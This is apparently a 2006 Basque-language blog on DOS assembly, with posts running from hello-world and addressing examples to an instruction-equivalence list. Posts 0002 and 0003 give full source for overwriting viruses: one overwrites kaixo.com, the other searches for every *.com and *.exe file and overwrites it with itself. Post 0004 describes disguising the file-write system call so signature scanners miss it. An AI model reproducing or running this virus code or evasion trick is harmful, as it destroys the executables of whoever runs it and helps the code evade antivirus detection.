0005 - Atzipenak: Ondo ala Gaizki

2006-04-27T11:41:00.000-07:00

Kode honetan agurra aldagaiak modu ezberdinetan atzitzen saiatzen gara. Batzuk ongi daude besteak ez. Ongi daudenek eragin berdina daukate.


; killkir
kodea segment
 assume cs:kodea, ds:kodea
 org 100h

hasiera:
 mov ah,09h  
 ;lea dx, agurra1 ; OK
 mov dx, offset agurra1 ; OK
 ;mov dx, agurra1 ; EZZZZZZZZZZZ!!
 int 21h

 mov ah,09h  
 ;lea dx, [agurra2] ; OK
 mov dx, [offset agurra2] ; OK
 ;mov dx, [agurra2] ; EZZZZZZZZZ!!!
 int 21h
 
 int 20h
 
 agurra1 db 'Kaixo lehen agurra da',10,13,'$'
 agurra2 db 'Kaixo bigarren agurra da',10,13,'$'
kodea ends 
end hasiera

0004 - Baliok0deak

2006-04-27T11:08:00.000-07:00

Mihiztadura lengoaian eragin berdina duten kode ezberdinak idatz daitezke.
Adibidez:


mov ax,0
xor ax,ax

baliokideak dira.
Beste hauek:


mov ax,cx
xchg ax,bx

ez dira berdinak baina azken finean helburu berdina lortzen da, cx-en balioa ax-en sartzea.
Zertarako izan daiteke baliogarria?
Baliokidetza hauek ezagutuz gauza ezberdinak lor daitezke:

Byte gutxiago behar dituen kodea lortzea

Patroi ezagunen bilaketa sahiestea (teknika zaharkitua...)

Lengoaia hobeto ezagutzea

Mihiztadura kodearen zenbait aginduk modu infinitoak dauzkate beste era batean adierazteko aritmetika sinpleari eskerrak. Demagun sistema dei bat izkutatu nahi dugula.


mov     ah,40h   ; fitxategi batean idazteko deia
mov     cx,128   ; idatziko dugun byte kopurua
lea     dx,datua ; idatziko dugun datua
int 21h

40h dei ezagun hori zuzenean jarri ordez zera egin dezakegu:


mov    ah,3eh
add    ah,2

Hara, horrela efektua berdina da, baina 40h desagertarazi dugu.

Hau tontakeri hutsa baino ez da, baina gehiago ikasteko behintzat balioko du.
Pixkanaka baliokideak bilduko dira zerrenda honetan:
BalioKODEAK
* 0 HASIERAKETA

 
    mov bx, 0
edo
    xor bx,bx  ; eleganteagoa

* REP bitartez


     lea  si,[offset aldagaia]        ; SI=jatorria
     mov  di,100h                     ; DI=100h idazketa helburua
     movsb                            ; byte bat mugitu
     movsb                            ; byte bat mugitu
     movsb                            ; byte bat mugitu
edo
     mov  cx,3
     lea  si,[offset aldagaia]        ; SI=jatorria
     mov  di,100h                     ; DI=100h idazketa helburua
    rep movsb                        ; 3 aldiz (CX) byte bat mugitu

* IRTEERA


     int 20h    ; zaharkitua
 edo
     retn
edo irteera sistema deia

* PUSH


               push  ax
               push  bx
               push  cx
               push  dx
               push  si
               push  di
               push  ds
               push  es
edo
               push ax bx cx dx si di ds es

* ZEHARKAKO ESLEIPENA


       mov    ah, 40h
 edo
       mov    ah,3eh
       add    ah,2

zeharkatze horretan denetarik erabil daiteke: aritmetika hutsa, desplazamendua, eragiketa logikoa...

0003 - comexeovw

2006-04-25T00:18:00.000-07:00

Probatu gabe


; comexeovw.asm
; killkir
; *.com eta *.exe izeneko fitxategiak bilatu, read-write moduan ireki
; eta bere kodea kopiatzen du fitxategi hasieran. PoC kaxkarra.
; konpilazioa: tasm comexeovw.asm
; estekaketa: tlink /t comexeovw.obj

kodesegmentua segment                          ; Kode segmentuaren hasiera
    assume  cs:kodesegmentua,ds:kodesegmentua  ; CS eta DS segmentu berdinean
    org     100h                                    ; COM fitxategia izateko behar den marka
comexe proc near                                ; comexe prozeduraren hasiera

comexeovw:                                     ; Hasierako etiketa
    mov ah,4eh                                  ; AH=4eh, bilaketa sistema deia
    xor  bp, bp                                   ; BP=0 hasieratzen dugu

bilatucom:
    xor     cx,cx                                 ; CX=0 egiteko modua
    lea     dx,kateacom                       ; DX='*.com', katearen helbidearen bitartez
    int     21h                                   ; Software etena 4eh deia burutzeko
    jc      bukatucom                          ; Carry flag 1,ez da ezer topatu, bada ordainara pasa
    jmp    ireki

hasiexe:
    mov     ah,4eh                             ; AH=4eh, bilaketa sistema deia

bilatuexe:
    xor     cx,cx                               ; CX=0 egiteko modua
    lea     dx,kateaexe                      ; DX='*.exe', katearen helbidearen bitartez
    int     21h                                 ; Software etena 4eh deia burutzeko
    jc      bukatu                             ; Carry flag 1,ez da ezer topatu, bada ordainara pasa

ireki:                                            ; Fitxategia topatu bada irekiko dugu
    mov     ax,3d02h                        ; AH=3dh deia (ireki), AL=02h RW moduan
    mov     dx,9eh                           ; PSParen DTAtik topatutako fitxategi izena hartzen du
    int     21h                                 ; Software etena 3dh deia burutzeko

zoldura:                                             ; Zoldura hasten da
    xchg    bx,ax                                  ; AX eta BX arteko swap-a
    mov     ah,40h                                ; AH=40h, idazketa sistema deia
    mov     cx,offset bukaera - offset comexeovw; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke
    lea     dx,comexeovw                             ; DX=idatzi nahi dugunaren iturria: comexeovw hasiera
    int     21h                                       ; Software etena 40h deia burutzeko

itxi:                                          ; Fitxategia ixten da
    mov     ah,3eh                        ; AH=3eh, fitxategiak ixteko sistema deia
    int     21h                              ; Software etena 3eh deia burutzeko
    mov     ah,4fh                         ; hurrengoa bilatzeko deia
    cmp    bp,0
    jz bilatucom
    jmp bilatuexe

bukatucom:                                 ; Payload edo ordaina hasten da.
    inc  bp                                    ; BP = BP + 1. Orain 0ren desberdina
    jmp hasiexe                                ; Software etena 09h deia burutzeko

ordaina:                                       ; Payload edo ordaina hasten da.
    mov     ah,09h                             ; AH=09h, katea pantailaratzeko sistema deia
    lea     dx,mezua                           ; DX=mezua, katearen helbidearen bitartez
    int     21h                                ; Software etena 09h deia burutzeko

    int     20h                                ; Programa amaitzeko dei zaharkitua

kateacom   db      '*.com',0                  ; Infektatuko diren fitxategi izenen patroia
kateaexe   db      '*.exe',0                  ; Infektatuko diren fitxategi izenen patroia
mezua   db      'COM eta EXE guztiak nire esku,'$'             ; ordain gisa aterako den mezua, beti $ batekin bukatuta

bukaera   label   near                         ; Etiketa hutsa kode honen tamaina kalkulatzeko

comexe   endp                                   ; comexe prozeduraren amaiera
kodesegmentua ends                             ; Kode segmentuaren bukaera
end comexeovw                                   ; bukaera

0002 - kaixo_a - 4eh, 3dh, 40h, 3eh,

2006-04-23T02:35:00.000-07:00


; kaixo_a.asm
; killkir
; KAIXO.COM izeneko lehen fitxategia bilatu, read-write moduan ireki
; eta bere kodea kopiatzen du fitxategi hasieran. PoC kaxkarra.
; konpilazioa: tasm kaixo_a.asm
; estekaketa: tlink /t kaixo_a.obj

kodesegmentua segment                          ; Kode segmentuaren hasiera
    assume  cs:kodesegmentua,ds:kodesegmentua  ; CS eta DS segmentu berdinean
    org     100h                               ; COM fitxategia izateko behar den marka
kaixo proc near                                ; kaixo prozeduraren hasiera

kaixo_a:                                       ; Hasierako etiketa
      mov     ah,4eh                             ; AH=4eh, bilaketa sistema deia
    xor     cx,cx                              ; CX=0 egiteko modua
    lea     dx,katea                           ; DX='kaixo.com', katearen helbidearen bitartez
    int     21h                                ; Software etena 4eh deia burutzeko
    jc      ordaina                            ; Carry flag 1,ez da ezer topatu, bada ordainara pasa

ireki:                                         ; Fitxategia topatu bada irekiko dugu
    mov     ax,3d02h                           ; AH=3dh deia (ireki), AL=02h RW moduan
    mov     dx,9eh                             ; PSParen DTAtik topatutako fitxategi izena hartzen du
    int     21h                                ; Software etena 3dh deia burutzeko

zoldura:                                       ; Zoldura hasten da
    xchg    bx,ax                              ; AX eta BX arteko swap-a
    mov     ah,40h                             ; AH=40h, idazketa sistema deia
    mov     cx,offset bukaera - offset kaixo_a ; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke
    lea     dx,kaixo_a                         ; DX=idatzi nahi dugunaren iturria: kaixo_a-ren hasiera
    int     21h                                ; Software etena 40h deia burutzeko

itxi:                                          ; Fitxategia ixten da
    mov     ah,3eh                             ; AH=3eh, fitxategiak ixteko sistema deia
    int     21h                                ; Software etena 3eh deia burutzeko

ordaina:                                       ; Payload edo ordaina hasten da.
    mov     ah,09h                             ; AH=09h, katea pantailaratzeko sistema deia
    lea     dx,mezua                           ; DX='Kaixo_a naiz', katearen helbidearen bitartez
    int     21h                                ; Software etena 09h deia burutzeko

    int     20h                                ; Programa amaitzeko dei zaharkitua

katea   db      'kaixo.com',0                  ; Infektatuko diren fitxategi izenen patroia
mezua   db      'Kaixo_A naiz','$'             ; ordain gisa aterako den mezua, beti $ batekin bukatuta

bukaera   label   near                         ; Etiketa hutsa kode honen tamaina kalkulatzeko

kaixo   endp                                   ; kaixo prozeduraren amaiera
kodesegmentua ends                             ; Kode segmentuaren bukaera
end kaixo_a                                    ; kaixo_aren bukaera

0001 - Kaixo Mundua - 09h

2006-04-23T01:50:00.000-07:00


; Kaixo Mundua
; Mezu bat pantailaratzen duen kodea, COM formatoan.
; Konpilazioa: tasm kaixo.com
; Estekaketa:  tlink /t kaixo.obj
; Killkir

NireKodea segment
assume cs: NireKodea, ds: NireKodea

org 100h            ; Hona hemen COM fitxategiek behar duten direktiba.

kaixo proc near
nagusia:
 mov ah, 09h          ; AH=09H sistema deia, katea pantailaratzeko
 mov DX, offset mezua ; DX=[mezua]ren memoria helbidea
 int 21h              ; Sistema deia eragiten da
 int 20h        ; programa bukatzeko deia

; aldagaia: mezua.
mezua db 'Kaixo mundua','$'   ; $ jarri behar zaio kate amaiera adierazteko

kaixo endp
NireKodea ends
end nagusia